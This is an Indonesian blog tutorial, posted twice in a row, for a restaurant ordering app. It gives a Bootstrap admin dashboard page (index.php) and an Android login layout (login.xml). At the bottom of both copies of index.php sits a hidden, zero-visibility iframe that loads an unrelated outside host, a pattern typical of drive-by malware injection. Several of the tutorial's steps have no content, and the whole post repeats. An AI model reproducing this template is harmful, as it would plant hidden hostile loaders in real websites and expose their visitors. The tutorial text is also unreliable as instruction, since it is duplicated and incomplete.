pada postingan kali ini saya akn mempublikasikan suatu aplikasi android dengan judul aplikasi client server " Rumah Makan Online"
langkah awal yang harus di perhatikan terlebih dahuli adalah :
1. membuat aplikasi android
2. membuat file php
3. membuat databasenya
ok langsung saja !!!
1. aktifkan terlebih dahulu xampp nya
2. membuat index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>www.From_Login.com</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/bootstrap-theme.css" rel="stylesheet">
<link href="css/elegant-icons-style.css" rel="stylesheet" />
<link href="css/font-awesome.min.css" rel="stylesheet" />
<link href="css/style.css" rel="stylesheet">
<link href="css/style-responsive.css" rel="stylesheet" />
</head>
<body>
<section id="container" class="">
<header class="header dark-bg">
<div class="toggle-nav">
<div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
</div>
<a href="#" class="logo">Daftar From Login<span class="lite"></span></a>
<div class="nav search-row" id="top_menu">
<ul class="nav top-menu">
<li>
<form class="navbar-form">
<input class="form-control" placeholder="Search" type="text">
</form>
</li>
</ul>
</div>
<div class="top-nav notification-row">
<ul class="nav pull-right top-menu">
<li class="dropdown">
<a data-toggle="dropdown" class="dropdown-toggle" href="#">
<span class="profile-ava">
</span>
<span class="username"></span>
<b class="caret"></b>
</a>
<ul class="dropdown-menu extended logout">
<div class="log-arrow-up"></div>
<li>
<a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
</li>
</ul>
</li>
</ul>
</div>
</header>
<div id="sidebar" class="nav-collapse ">
<ul class="sidebar-menu">
<li class="">
<a class="fa fa-home" href="index.php">
<span>Beranda</span>
</a>
</li>
<li class="">
<a class="fa fa-user" href="user.php">
<span>User</span>
</a>
</li>
<li class="">
<a class="fa fa-clock-o" href="transaksi.php">
<span>Transaksi</span>
</a>
</li>
</ul>
</div>
<section id="main-content">
<section class="wrapper">
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa fa-home"></i> BERANDA</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<header class="panel-heading">
<center><h2>HALAMAN UTAMA</h2></center>
</header>
<div class="row">
<div class="panel-body">
<div class="small-box bg-aqua">
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box blue-bg">
<i class="fa fa-user"></i>
<div class="title">User</div>
<a href="form_user.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box brown-bg">
<i class="fa fa-tasks"></i>
<div class="title">Transaksi</div>
<a href="form_transaksi.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</section>
</section>
</section>
<script src="js/jquery.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.scrollTo.min.js"></script>
<script src="js/jquery.nicescroll.js" type="text/javascript"></script>
<script src="js/scripts.js"></script>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
3. database nya
4. usernya
5. transaksinya
6. hasil running tampilan pertama
7. itu untuk tampilan webnya sekarang untuk androidnya
8. ini untuk loginnya
login.xml
<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/widg37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="@drawable/back"
android:orientation="vertical" >
<TableLayout
android:id="@+id/widget37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget45"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
<TableRow
android:id="@+id/widget46"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TableLayout
android:id="@+id/w7"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget65"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TextView
android:id="@+id/txtstatus"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
<TextView
android:id="@+id/widget55"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="17dp"
android:layout_y="315dp"
android:text="Password :"
android:textColor="#FF000000" />
<EditText
android:id="@+id/txtpassword"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="96dp"
android:layout_y="301dp"
android:ems="10"
android:password="True"
android:textSize="18sp" >
<requestFocus />
</EditText>
<EditText
android:id="@+id/txtusername"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="93dp"
android:layout_y="244dp"
android:ems="10"
android:textSize="18sp" />
<TextView
android:id="@+id/widget47"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="16dp"
android:layout_y="258dp"
android:text="Username :"
android:textColor="#FF000000" />
<Button
android:id="@+id/btndaftar"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="198dp"
android:layout_y="390dp"
android:onClick="daftar"
android:text="DAFTAR" />
<Button
android:id="@+id/btnlogin"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="68dp"
android:layout_y="390dp"
android:onClick="login"
android:text="L O G I N" />
<ImageView
android:id="@+id/imageView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="95dp"
android:layout_y="59dp"
android:src="@drawable/kost" />
</AbsoluteLayout>
langkah awal yang harus di perhatikan terlebih dahuli adalah :
1. membuat aplikasi android
2. membuat file php
3. membuat databasenya
ok langsung saja !!!
1. aktifkan terlebih dahulu xampp nya
2. membuat index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>www.From_Login.com</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/bootstrap-theme.css" rel="stylesheet">
<link href="css/elegant-icons-style.css" rel="stylesheet" />
<link href="css/font-awesome.min.css" rel="stylesheet" />
<link href="css/style.css" rel="stylesheet">
<link href="css/style-responsive.css" rel="stylesheet" />
</head>
<body>
<section id="container" class="">
<header class="header dark-bg">
<div class="toggle-nav">
<div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
</div>
<a href="#" class="logo">Daftar From Login<span class="lite"></span></a>
<div class="nav search-row" id="top_menu">
<ul class="nav top-menu">
<li>
<form class="navbar-form">
<input class="form-control" placeholder="Search" type="text">
</form>
</li>
</ul>
</div>
<div class="top-nav notification-row">
<ul class="nav pull-right top-menu">
<li class="dropdown">
<a data-toggle="dropdown" class="dropdown-toggle" href="#">
<span class="profile-ava">
</span>
<span class="username"></span>
<b class="caret"></b>
</a>
<ul class="dropdown-menu extended logout">
<div class="log-arrow-up"></div>
<li>
<a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
</li>
</ul>
</li>
</ul>
</div>
</header>
<div id="sidebar" class="nav-collapse ">
<ul class="sidebar-menu">
<li class="">
<a class="fa fa-home" href="index.php">
<span>Beranda</span>
</a>
</li>
<li class="">
<a class="fa fa-user" href="user.php">
<span>User</span>
</a>
</li>
<li class="">
<a class="fa fa-clock-o" href="transaksi.php">
<span>Transaksi</span>
</a>
</li>
</ul>
</div>
<section id="main-content">
<section class="wrapper">
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa fa-home"></i> BERANDA</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<header class="panel-heading">
<center><h2>HALAMAN UTAMA</h2></center>
</header>
<div class="row">
<div class="panel-body">
<div class="small-box bg-aqua">
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box blue-bg">
<i class="fa fa-user"></i>
<div class="title">User</div>
<a href="form_user.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box brown-bg">
<i class="fa fa-tasks"></i>
<div class="title">Transaksi</div>
<a href="form_transaksi.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</section>
</section>
</section>
<script src="js/jquery.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.scrollTo.min.js"></script>
<script src="js/jquery.nicescroll.js" type="text/javascript"></script>
<script src="js/scripts.js"></script>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
3. database nya
4. usernya
5. transaksinya
6. hasil running tampilan pertama
7. itu untuk tampilan webnya sekarang untuk androidnya
8. ini untuk loginnya
login.xml
<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/widg37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="@drawable/back"
android:orientation="vertical" >
<TableLayout
android:id="@+id/widget37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget45"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
<TableRow
android:id="@+id/widget46"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TableLayout
android:id="@+id/w7"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget65"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TextView
android:id="@+id/txtstatus"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
<TextView
android:id="@+id/widget55"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="17dp"
android:layout_y="315dp"
android:text="Password :"
android:textColor="#FF000000" />
<EditText
android:id="@+id/txtpassword"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="96dp"
android:layout_y="301dp"
android:ems="10"
android:password="True"
android:textSize="18sp" >
<requestFocus />
</EditText>
<EditText
android:id="@+id/txtusername"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="93dp"
android:layout_y="244dp"
android:ems="10"
android:textSize="18sp" />
<TextView
android:id="@+id/widget47"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="16dp"
android:layout_y="258dp"
android:text="Username :"
android:textColor="#FF000000" />
<Button
android:id="@+id/btndaftar"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="198dp"
android:layout_y="390dp"
android:onClick="daftar"
android:text="DAFTAR" />
<Button
android:id="@+id/btnlogin"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="68dp"
android:layout_y="390dp"
android:onClick="login"
android:text="L O G I N" />
<ImageView
android:id="@+id/imageView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="95dp"
android:layout_y="59dp"
android:src="@drawable/kost" />
</AbsoluteLayout>
Komentar
Posting Komentar